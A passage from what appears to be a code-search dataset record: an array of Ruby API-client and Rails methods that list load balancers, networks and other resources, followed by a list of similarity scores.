PolicyNetworkingNetworkServicesLoadBalancingLoadBalancerServicesApi.list_lb_services, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] < 0\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling PolicyNetworkingNetworkServicesLoadBalancingLoadBalancerServicesApi.list_lb_services, must be greater than or equal to 0.'\n end\n\n # resource path\n local_var_path = '/infra/lb-services'\n\n # query parameters\n query_params = {}\n query_params[:'cursor'] = opts[:'cursor'] if !opts[:'cursor'].nil?\n query_params[:'include_mark_for_delete_objects'] = opts[:'include_mark_for_delete_objects'] if !opts[:'include_mark_for_delete_objects'].nil?\n query_params[:'included_fields'] = opts[:'included_fields'] if !opts[:'included_fields'].nil?\n query_params[:'page_size'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n query_params[:'sort_ascending'] = opts[:'sort_ascending'] if !opts[:'sort_ascending'].nil?\n query_params[:'sort_by'] = opts[:'sort_by'] if !opts[:'sort_by'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'LBServiceListResult')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicyNetworkingNetworkServicesLoadBalancingLoadBalancerServicesApi#list_lb_services\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def get_all(path)\n path = Pathname.new(path)\n @bags.map { |bag| bag.get(path, do_raise: false) }.compact\n end", "def all_clients\n resp = get CLIENT_API_PATH\n result = process_response(resp)\n return [] if result.empty? # In case response is {}\n result.each.map { |c| Resources::Client.new(c) }\n end", "def find(options = {})\n raise \"Unable to locate the LoadBalancer named '#{options[:name]}'\" unless options[:id]\n response = Profitbricks.request :get_load_balancer, load_balancer_id: options[:id]\n PB::LoadBalancer.new(response)\n end", "def all\n inactive + active\n rescue Exception::LibvirtError\n # If inactive isn't supported, then we just return the active\n # storage pools.\n active\n end", "def list_all\n begin\n OOLog.info(\"Getting subscription vnets ...\")\n start_time = Time.now.to_i\n promise = @client.virtual_networks.list_all()\n response = promise.value!\n result = response.body\n end_time = Time.now.to_i\n duration = end_time - start_time\n OOLog.info(\"operation took #{duration} seconds\")\n result\n rescue MsRestAzure::AzureOperationError => e\n OOLog.fatal(\"Error getting all vnets for the sub. Exception: #{e.body}\")\n rescue => ex\n OOLog.fatal(\"Error getting all vnets for the sub. Exception: #{ex.message}\")\n end\n end", "def all\n request = Net::HTTP::Get.new(\"/proxies\")\n response = http_request(request)\n assert_response(response)\n\n proxies = JSON.parse(response.body).map do |_name, attrs|\n new({\n upstream: attrs[\"upstream\"],\n listen: attrs[\"listen\"],\n name: attrs[\"name\"],\n enabled: attrs[\"enabled\"],\n })\n end\n\n ProxyCollection.new(proxies)\n end", "def all\n ALLOCATIONS.map do |a|\n new(a.fetch(:title), a.fetch(:type), a)\n end\n end", "def all_countries \n\t\tself.class.get('/all')\n\tend", "def get_mapped_elbs( hostname = nil, layers = nil )\n get_mapped_resources( BAG_NAME, hostname, layers )\n end", "def all\n load_clients\n load_preferences\n end", "def show\n @loadbalancer = Loadbalancer.find(params[:id])\n checkaccountobject(\"loadbalancers\",@loadbalancer)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @loadbalancer }\n end\n end", "def all(options = {})\n response = client.get(base_path, options)\n\n return parse(response) unless block_given?\n\n yield response\n end", "def index\n @boosts = Boost.all\n end", "def all\n Array(@@job_scheduler_instance)\n end", "def list_all\n init_ivars\n uri_list = @pages.map { |page| page.uri }\n\n uri_list.empty? ? ',' : uri_list.join(',')\n end", "def all_urls\n urls = NG_URL.all.collect {|n| n.url}\n urls.sort!\n end", "def index\n @routers = Router.all\n end", "def all\n _register_class_observer\n if _class_fetch_states.has_key?(:all) && 'fi'.include?(_class_fetch_states[:all]) # if f_etched or i_n progress of fetching\n collection = HyperRecord::Collection.new\n _record_cache.each_value { |record| collection.push(record) }\n return collection\n end\n promise_all\n HyperRecord::Collection.new\n end", "def listAZs(region = MU.curRegion)\n\t\t\tazs = MU::Config.listAZs(region)\n\t\t\treturn azs\n\t\tend", "def all\n response = RestClient.get(@all_url, params)\n parsed = JSON.parse(response)\n \n parsed['results']['result']\n end", "def all_links\n Link.all\n end", "def all_links\n Link.all\n end", "def all_links\n Link.all\n end", "def all\n api_get(path)\n end", "def index\n @loads = Load.all\n end", "def index\n @lightbulbs = Lightbulb.all\n end", "def zone_load_multi\n send_req(a: :zone_load_multi)\n end", "def get_balancer_manager\n @balancer_manager\n end", "def list_all\n OOLog.info('Getting subscription vnets ...')\n start_time = Time.now.to_i\n begin\n response = @network_client.virtual_networks\n rescue MsRestAzure::AzureOperationError => e\n OOLog.fatal(\"Error getting all vnets for the sub. Exception: #{e.body}\")\n rescue => ex\n OOLog.fatal(\"Error getting all vnets for the sub. Exception: #{ex.message}\")\n end\n end_time = Time.now.to_i\n duration = end_time - start_time\n OOLog.info(\"operation took #{duration} seconds\")\n response\n end", "def index\n @lcb_feed_backs = LcbFeedBack.all\n end", "def leases\n VLANLease.where(pool_id: id).all\n end", "def describe_load_balancer_attributes(lb_id)\n request({\n 'Action' => 'DescribeLoadBalancerAttributes',\n 'LoadBalancerArn' => lb_id,\n :parser => Fog::Parsers::AWS::ELBV2::DescribeLoadBalancerAttributes.new\n })\n end", "def index\n @branch_routes = BranchRoute.all\n end", "def instances_list\n return [] unless configured?\n\n @service.fetch_all do |token|\n @service.list_instances(@gcp_config['project'], @gcp_config['zone'], page_token: token)\n end.map(&:name)\n end", "def all\n setup_request \"#{@@resource_url}s\"\n end", "def call_sites\n @call_sites.values\n end", "def list_resources\n resources = []\n addr = create_address(:sliceID => @@sliceID, :domain => @@domain)\n resource_prefix = \"#{addr.generate_address}/\"\n nodes = list_nodes(@@domain)\n nodes.each{|node|\n next if !node.include?(resource_prefix)\n node.slice!(resource_prefix)\n resources << node if !node.empty?\n }\n resources\n end", "def all_bathing_waters(options = {})\n if bws_by_uri.empty?\n api_options = { _pageSize: 600 }.merge(options)\n\n bws = api_get_resources(BathingWater.endpoint_all, ALL_PAGES, BathingWater, api_options)\n bws.each do |bw|\n bws_by_uri[bw.uri] = bw\n bws_by_id[bw.id] = bw\n end\n end\n\n bws_by_uri.values\n end", "def balancer_set_instances(balancer)\n balancer\n end", "def list_lb_services_0_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PolicyNetworkingNetworkServicesLoadBalancingLoadBalancerServicesApi.list_lb_services_0 ...'\n end\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling PolicyNetworkingNetworkServicesLoadBalancingLoadBalancerServicesApi.list_lb_services_0, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] < 0\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling PolicyNetworkingNetworkServicesLoadBalancingLoadBalancerServicesApi.list_lb_services_0, must be greater than or equal to 0.'\n end\n\n # resource path\n local_var_path = '/global-infra/lb-services'\n\n # query parameters\n query_params = {}\n query_params[:'cursor'] = opts[:'cursor'] if !opts[:'cursor'].nil?\n query_params[:'include_mark_for_delete_objects'] = opts[:'include_mark_for_delete_objects'] if !opts[:'include_mark_for_delete_objects'].nil?\n query_params[:'included_fields'] = opts[:'included_fields'] if !opts[:'included_fields'].nil?\n query_params[:'page_size'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n query_params[:'sort_ascending'] = opts[:'sort_ascending'] if !opts[:'sort_ascending'].nil?\n query_params[:'sort_by'] = opts[:'sort_by'] if !opts[:'sort_by'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'LBServiceListResult')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicyNetworkingNetworkServicesLoadBalancingLoadBalancerServicesApi#list_lb_services_0\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def load_all; end", "def load_all; end", "def load_all; end", "def list_all\n store_location\n query = create_query(:HerbariumRecord, :all, by: default_sort_order)\n show_selected_herbarium_records(query)\n end", "def list_buckets(opts = {})\n if @config.cname\n fail ClientError, \"Cannot list buckets for a CNAME endpoint.\"\n end\n\n Iterator::Buckets.new(@protocol, opts).to_enum\n end", "def index\n @lounges = Lounge.all\n end", "def index\n @brlevels = Brlevel.all\n end", "def index\n @loadings = Loading.all\n end", "def all_dbs\n @conn.query({url_path: \"_all_dbs\", method: :get})\n end", "def index\n @ag_addresses = Ag::Address.all\n end", "def list()\n puts \"Listing all endpoints\"\n load_manifest\n\n pp manifest.keys\n\n end", "def all\n PaginatedResource.new(self)\n end" ]
[ "0.7522266", "0.71692187", "0.69277346", "0.69092095", "0.6514731", "0.646942", "0.6340497", "0.6328993", "0.6328993", "0.6321338", "0.62811565", "0.6130564", "0.60530114", "0.5987703", "0.59585774", "0.575374", "0.5741722", "0.56703496", "0.5657753", "0.55636954", "0.55537575", "0.5544483", "0.5487619", "0.5455903", "0.5451974", "0.54485357", "0.54366887", "0.54283386", "0.53930354", "0.53921795", "0.5390639", "0.5380222", "0.53715926", "0.5361436", "0.5352737", "0.5343088", "0.53397596", "0.53277653", "0.53270406", "0.5316074", "0.53006434", "0.52769965", "0.5248379", "0.524172", "0.5240341", "0.52378565", "0.5236372", "0.52218604", "0.5203618", "0.51944464", "0.5180584", "0.5173747", "0.5171475", "0.51439714", "0.51402515", "0.51388437", "0.5131671", "0.5131192", "0.5129124", "0.5122016", "0.5114085", "0.511214", "0.5110134", "0.5106675", "0.509217", "0.5090605", "0.50799966", "0.50796956", "0.50761664", "0.50761664", "0.50761664", "0.5069306", "0.5069223", "0.5067633", "0.5063395", "0.50566053", "0.50539136", "0.5052079", "0.5045643", "0.50435364", "0.50426555", "0.50415105", "0.5041452", "0.50378144", "0.503239", "0.50307894", "0.5028658", "0.50182325", "0.50176626", "0.50176626", "0.50176626", "0.5017377", "0.5013409", "0.5011516", "0.50088435", "0.50037813", "0.50022036", "0.49950975", "0.49943", "0.4993733" ]
0.78813696
0